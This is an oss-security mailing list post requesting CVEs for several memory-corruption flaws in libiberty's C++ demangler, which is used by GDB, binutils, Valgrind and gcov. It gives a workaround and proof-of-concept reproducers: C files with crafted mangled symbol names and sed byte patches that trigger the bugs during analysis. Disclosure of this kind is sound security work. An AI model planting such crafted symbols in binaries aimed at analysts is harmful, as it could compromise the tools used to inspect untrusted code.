oss-sec mailing list archives

CVE Request: No Demangling During Analysis of Untrusted Binaries


From: Marcel Böhme <boehme.marcel () gmail com>
Date: Thu, 5 May 2016 11:12:10 +0800

Hi all,

Attack Vector 1: Security researchers using binary analysis tools, such as Valgrind, GDB, Binutils (e.g., objdump, nm, 
..), Gcov, or other LibBFD-based tools on untrusted binaries are vulnerable to arbitrary code execution through several 
vulnerabilities in Libiberty, the GNU demangling library maintained by GCC. An attacker might modify a program binary 
such that it executes malicious code upon *analysis* (e.g., an analysis to identify whether the binary is malicious in 
the first place). 

Attack Vector 2: Remote access / DoS via Online IDEs or demangling services.

Workaround: Until the patches propagate to the vulnerable tools, switch off default demangling! E.g.,
$ echo "set demangle-style none"  >>  ~/.gdbinit
$ echo "--demangle=no" >> ~/.valgrindrc

Details and reproducers in the bug reports:

1) Exploitable Buffer Overflow (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=69687

2) Invalid Write due to a Use-After-Free (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70481

3) Invalid Write due to Integer Overflow (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70492

4) Write Access Violation (Fixed in GCC trunk)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70498

5) Various Stack Corruptions (Patch under Review)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70909
https://gcc.gnu.org/ml/gcc-patches/2016-05/threads.html#00105

6) Write Access Violation (Patch under Review)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70926
https://gcc.gnu.org/ml/gcc-patches/2016-05/threads.html#00223

These vulnerabilities have been found with a more efficient version of the AFL fuzzer.
A recent 12h fuzzing session on the patched version did not reveal any more security critical bugs in the demangling 
library.

POC for PR69687
========================

** GDB and BINUTILS
$ cat comileme.c
#include <stdio.h>
const char *__020A___________________X00020A___R0020A__U000R03000N99999999_020A__K000="Hello World";
int main() {
  printf("%s\n",__020A___________________X00020A___R0020A__U000R03000N99999999_020A__K000);
}
$ g++ compileme.c -o compileme
$ ./compileme
Hello World!
$ gdb ./compileme
..
$ objdump -x -C ./compileme
..
$ nm -C ./compileme
..

** VALGRIND + GCOV:
$ cat compilemetoo.c
#include<stdio.h>
#include<stdlib.h>

const char* ____________________X00020A___R0020A__U000R03000N99999999_020A__K000(){
  char *p;
  p = (char *) malloc(19);
  p = (char *) malloc(12);
  free(p);
  p = (char *) malloc(16);
  return "Hello World!";
}

int main()
{
   printf("%s\n",____________________X00020A___R0020A__U000R03000N99999999_020A__K000());
   return 0;
}

$ g++ compilemetoo.c -o compilemetoo
$ sed -bi s/Z68/_20/g compilemetoo
$ chmod u+x compilemetoo
$ ./compilemetoo
Hello World!
$ valgrind --leak-check=yes ./compilemetoo
..

GCOV:
$ g++ -fprofile-arcs -ftest-coverage compilemetoo.c -o compilemetoo
$ sed -bi s/Z68/_20/g compilemetoo
$ sed -bi s/Z68/_20/g compilemetoo.gcda
$ ./compilemetoo
Hello World!
$ gcov --version
gcov (GCC) 7.0.0
$ gcov -mf compilemetoo
..

Best regards,
- Marcel

---
Marcel Böhme
Post-doctoral Research Fellow
TSUNAMi Security Research Center
National University of Singapore


Current thread: